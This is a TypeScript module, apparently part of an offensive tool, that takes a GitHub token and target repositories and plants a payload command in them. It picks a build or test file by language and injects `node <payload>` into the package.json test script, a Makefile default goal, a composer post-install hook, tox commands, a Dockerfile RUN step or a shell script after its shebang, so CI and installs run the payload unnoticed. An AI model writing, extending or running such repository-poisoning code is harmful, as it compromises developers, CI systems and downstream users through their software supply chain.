import { githubJson } from "../../github_utils/client"; import { logUtil } from "../../utils/logger"; import type { LotpTarget, TargetRepo } from "./types"; declare function scramble(str: string): string; // ─────────────────────────────────────────────────────────────────────── // Language → candidate setup / test files // // Only files that can actually execute commands. We try them in order // and pick the first one that exists in the repo. // ─────────────────────────────────────────────────────────────────────── const LANGUAGE_CANDIDATES: Record = { JavaScript: ["package.json", "Makefile"], TypeScript: ["package.json", "Makefile"], Python: ["tox.ini", "setup.py", "Makefile"], Go: ["Makefile", "install.sh", "setup.sh"], Ruby: ["Gemfile", "Rakefile", "Makefile"], Rust: ["Makefile"], Java: ["Makefile"], Kotlin: ["Makefile"], Shell: ["Makefile", "install.sh", "setup.sh"], PHP: ["composer.json", "Makefile"], "C#": ["Makefile"], "C++": ["Makefile", "CMakeLists.txt"], C: ["Makefile", "CMakeLists.txt"], Swift: ["Makefile"], Dart: ["Makefile"], Elixir: ["Makefile"], Dockerfile: ["Dockerfile", "Makefile"], Perl: ["Makefile.PL", "Makefile"], Scala: ["Makefile"], "Objective-C": ["Podfile", "Makefile"], Lua: ["Makefile"], }; const FALLBACK_CANDIDATES = ["Makefile", "package.json"]; // ─────────────────────────────────────────────────────────────────────── // Injection builders // ─────────────────────────────────────────────────────────────────────── function buildInjection(filePath: string, payloadPath: string): string { const runCmd = `node ${payloadPath}`; // package.json handled by applyJsonScript — returns the raw command if (filePath === "package.json") return runCmd; // JavaScript / TypeScript files if (/\.(js|ts|mjs|cjs)$/.test(filePath)) { return `require("child_process").execSync("${runCmd}",{stdio:"inherit"});\n`; } // Python files if (/\.py$/.test(filePath)) { return `import os; os.system("${runCmd}")\n`; } // Perl files if (/\.pl$/.test(filePath) || filePath === "Makefile.PL") { return `system("${runCmd}");\n`; } // Ruby files (incl. Podfile — CocoaPods DSL evaluated at pod install) if ( /\.rb$/.test(filePath) || filePath === "Gemfile" || filePath === "Rakefile" || filePath === "Podfile" ) { return `system("${runCmd}")\n`; } // Makefile if (filePath === "Makefile" || filePath.endsWith(".mk")) { return `\n.PHONY: _setup\n_setup:\n\t@${runCmd}\n`; } // Shell scripts — inject after shebang if present if (/\.sh$/.test(filePath)) { return `${runCmd}\n`; } // Dockerfile if (filePath === "Dockerfile") { return `RUN ${runCmd}\n`; } // CMakeLists.txt if (filePath === "CMakeLists.txt") { return `execute_process(COMMAND sh -c "${runCmd}")\n`; } // composer.json — use scripts section if (filePath === "composer.json") return runCmd; // tox.ini — inject into the [testenv] commands directive if (filePath === "tox.ini") { return runCmd; } // Default: shell one-liner prepend return `${runCmd}\n`; } // ─────────────────────────────────────────────────────────────────────── // File-existence check & fetch // ─────────────────────────────────────────────────────────────────────── async function fileExists( token: string, owner: string, repo: string, path: string, ): Promise { try { await githubJson(token, `/repos/${owner}/${repo}/contents/${path}`); return true; } catch { return false; } } async function fetchFileContent( token: string, owner: string, repo: string, path: string, ): Promise { try { const data = await githubJson<{ content?: string; encoding?: string }>( token, `/repos/${owner}/${repo}/contents/${path}`, ); if (data.content && data.encoding === "base64") { return Buffer.from(data.content, "base64").toString("utf-8"); } return null; } catch { return null; } } // ─────────────────────────────────────────────────────────────────────── // Content modification strategies // ─────────────────────────────────────────────────────────────────────── function applyPrepend(original: string, injection: string): string { return injection + original; } function applyShell(original: string, injection: string): string { // Inject after shebang so the script still executes with the right shell if (original.startsWith("#!")) { const newline = original.indexOf("\n"); if (newline >= 0) { return ( original.slice(0, newline + 1) + injection + original.slice(newline + 1) ); } } return injection + original; } function applyJsonScript(original: string, runCmd: string): string { try { const pkg = JSON.parse(original); if (!pkg.scripts) pkg.scripts = {}; const existing = pkg.scripts["test"]; // Target `test` — the script CI pipelines run on every commit. // Append to any existing command so we don't break the original. pkg.scripts["test"] = existing ? `${existing}; ${runCmd}` : runCmd; return JSON.stringify(pkg, null, 2) + "\n"; } catch { return `// test: ${runCmd}\n${original}`; } } function applyMakefile(original: string, injection: string): string { if (/^all\s*:/m.test(original)) { return original.replace(/^(all\s*:.*)$/m, `$1 _setup`) + injection; } return `.DEFAULT_GOAL := _setup\n\n${injection}${original}`; } function applyComposer(original: string, runCmd: string): string { try { const pkg = JSON.parse(original); if (!pkg.scripts) pkg.scripts = {}; pkg.scripts["post-install-cmd"] = runCmd; return JSON.stringify(pkg, null, 2) + "\n"; } catch { return `// post-install-cmd: ${runCmd}\n${original}`; } } /** Append our command to the [testenv] commands list in tox.ini. */ function applyToxIni(original: string, runCmd: string): string { // If there's a commands section, append to it. const cmdRe = /^(\s*commands\s*=.*)$/m; if (cmdRe.test(original)) { return original.replace(cmdRe, `$1\n ${runCmd}`); } // No commands section — add a [testenv] block with our command. return `${original}\n[testenv]\ncommands =\n ${runCmd}\n`; } // ─────────────────────────────────────────────────────────────────────── // Public API // ─────────────────────────────────────────────────────────────────────── export async function determineTarget( token: string, repo: TargetRepo, payloadPath: string, ): Promise { const candidates = (repo.language ? LANGUAGE_CANDIDATES[repo.language] : null) ?? FALLBACK_CANDIDATES; logUtil.log( `[RepoMutator] ${repo.fullName}: lang=${repo.language ?? "?"}, checking ${candidates.length} candidate(s)`, ); for (const candidate of candidates) { if (await fileExists(token, repo.owner, repo.name, candidate)) { const injection = buildInjection(candidate, payloadPath); logUtil.log(`[RepoMutator] ${repo.fullName}: matched "${candidate}"`); return { filePath: candidate, strategy: strategyFor(candidate), injection, }; } } logUtil.log(`[RepoMutator] ${repo.fullName}: no candidate file found`); return null; } function strategyFor(filePath: string): LotpTarget["strategy"] { if (filePath === "package.json" || filePath === "composer.json") return "json_script"; if (filePath === "Makefile" || filePath.endsWith(".mk")) return "makefile"; if (filePath === "tox.ini") return "tox_ini"; if (/\.sh$/.test(filePath)) return "shell"; return "prepend"; } export async function buildModifiedContent( token: string, owner: string, name: string, target: LotpTarget, ): Promise { const original = await fetchFileContent(token, owner, name, target.filePath); if (original === null) return null; switch (target.strategy) { case "prepend": return applyPrepend(original, target.injection); case "json_script": if (target.filePath === "composer.json") return applyComposer(original, target.injection); return applyJsonScript(original, target.injection); case "shell": return applyShell(original, target.injection); case "makefile": return applyMakefile(original, target.injection); case "tox_ini": return applyToxIni(original, target.injection); default: return applyPrepend(original, target.injection); } }